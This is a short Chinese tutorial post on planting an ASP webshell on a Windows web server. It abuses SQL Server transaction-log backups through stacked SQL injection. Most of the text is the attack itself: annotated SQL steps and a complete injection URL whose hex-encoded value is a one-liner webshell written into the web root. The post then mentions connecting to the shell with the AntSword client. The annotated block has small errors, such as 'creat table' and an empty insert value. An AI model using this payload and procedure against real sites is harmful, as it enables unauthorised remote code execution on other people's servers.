sqlserver log备份拿webshell

2023年 8月 12日 60.2k 0

无论是log备份还是差异本分,都是利用备份的过程写入一句话木马;差异备份容易报错就不搞了

利用条件:

  • 目标主机存在数据库备份文件,而且恢复模式要是完整模式

  • 知道网站的路径

  • 支持堆叠注入

## 修改数据库恢复模式为完整模式alter database 数据库名 set recovery full;  ## 如果存在test_tmp就删除IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp## 创建test_tmp表,只有一个列a,类型为imagecreat table test_tmp(a image)## 备份表到指定路径backup log 数据库名 to disk ='C:/xxx/xxx/1.bak' with init;## 插入一句话木马到test_tmp表中的ainsert into test_tmp (a) values ()## 备份操作日志到指定文件,木马文件backup log 数据库名 to disk ='C:/xxx/xxx/1.asp'## 删除test_tmp表drop table test_tmphttp://www.demo1.com/index.aspx?id=1;alter database mydb set recovery full;IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;create table  test_tmp  (a image);backup log mydb to disk ='C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log mydb to disk = 'C:/inetpub/wwwroot/www.demo1.com/123.asp'

蚁剑测试

本文来源https://www.modb.pro/db/75533

相关文章

Oracle如何使用授予和撤销权限的语法和示例
Awesome Project: 探索 MatrixOrigin 云原生分布式数据库
下载丨66页PDF,云和恩墨技术通讯(2024年7月刊)
社区版oceanbase安装
Oracle 导出CSV工具-sqluldr2
ETL数据集成丨快速将MySQL数据迁移至Doris数据库

发布评论